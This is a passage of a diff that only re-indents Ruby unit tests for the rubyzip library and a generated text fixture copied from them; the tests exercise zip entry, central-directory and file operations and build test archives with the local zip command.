assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -902,9 +902,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -944,24 +944,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -1013,7 +1013,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -1023,8 +1023,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -1070,14 +1070,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -1153,8 +1153,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -1179,7 +1179,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -1219,7 +1219,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -1228,7 +1228,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -1278,16 +1278,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -1302,8 +1302,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -1317,16 +1317,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -1341,8 +1341,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -1378,7 +1378,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -1388,8 +1388,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -1491,9 +1491,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' diff --git a/lib/zip/test/data/generated/longAscii.txt b/lib/zip/test/data/generated/longAscii.txt index 05259899a9..91e1cc1ce0 100644 --- a/lib/zip/test/data/generated/longAscii.txt +++ b/lib/zip/test/data/generated/longAscii.txt @@ -90,13 +90,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -110,29 +110,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -223,8 +223,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -326,13 +326,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -342,11 +342,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -435,16 +435,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -456,7 +456,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -465,7 +465,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -494,18 +494,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -513,10 +513,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -524,24 +524,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -552,10 +552,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -783,9 +783,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -902,9 +902,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -944,24 +944,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -1013,7 +1013,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -1023,8 +1023,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -1070,14 +1070,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -1153,8 +1153,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -1179,7 +1179,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -1219,7 +1219,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -1228,7 +1228,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -1278,16 +1278,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -1302,8 +1302,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -1317,16 +1317,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -1341,8 +1341,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -1378,7 +1378,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -1388,8 +1388,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -1491,9 +1491,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' @@ -1594,13 +1594,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -1614,29 +1614,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -1727,8 +1727,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -1830,13 +1830,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -1846,11 +1846,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -1939,16 +1939,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -1960,7 +1960,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -1969,7 +1969,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -1998,18 +1998,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -2017,10 +2017,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -2028,24 +2028,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip 